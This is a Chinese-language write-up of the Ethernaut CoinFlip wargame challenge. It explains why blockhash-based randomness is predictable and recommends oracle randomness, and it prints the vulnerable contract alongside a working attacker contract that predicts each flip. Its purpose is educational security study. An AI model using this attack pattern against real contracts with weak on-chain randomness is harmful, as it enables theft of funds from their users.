安全审计-交易打包的底层问题

最近在刷Ethersnaut,有道题目是猜测问题,需要在看到被攻击合约代码后,找到攻击点,使得可以连续猜中10次以上。被攻击合约中,本意是想使用随机数来计算。可以在整个计算中是可以预测和计算,这并不是真的是随机数。如果是要使用随机数,最好是是用预言机来获取随机数,在每次计算时都是未知和不可以预测的,这样才会防止被攻击。在web2的传统开发思路中,循环10次就可以完成10次的猜测动作,这个是个容易忽视的陷阱。在合约开发中,首先一定要熟悉整个交易打包的底层机制,首先是发出交易,进入内存池等待,交易打包,然后对交易进行计算处理(其中就有EVM参与的执行),如果是在一个交易中循环执行10次,但是block.number等信息始终不变,一个交易中block信息不会变化。要想实现10次有不同的block.number,则要发起10次不同的交易。

// 这是被攻击合约代码
contract CoinFlip {
    uint256 public consecutiveWins;
    uint256 lastHash;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor() {
        consecutiveWins = 0;
    }

    function flip(bool _guess) public returns (bool) {
        uint256 blockValue = uint256(blockhash(block.number - 1));

        if (lastHash == blockValue) {
            revert();
        }

        lastHash = blockValue;
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;

        if (side == _guess) {
            consecutiveWins++;
            return true;
        } else {
            consecutiveWins = 0;
            return false;
        }
    }

    
}

// 正确的攻击代码
interface  ICoinFlip {
    function flip(bool _guess) external  returns (bool);
}

contract CoinFlipAttack {
    ICoinFlip public coinflip;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor (address _coinflip) {
        coinflip = ICoinFlip(_coinflip);
    }

    function attack() public {
       uint256 blockValue = uint256(blockhash(block.number -1 ));

        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;
        coinflip.flip(side);
    }
}

// 错误示例攻击伪代码
for (uint256 i = 0; i < 10; i++) {
  //一些前置处理,记录
  attack();
  // 一些后置处理
}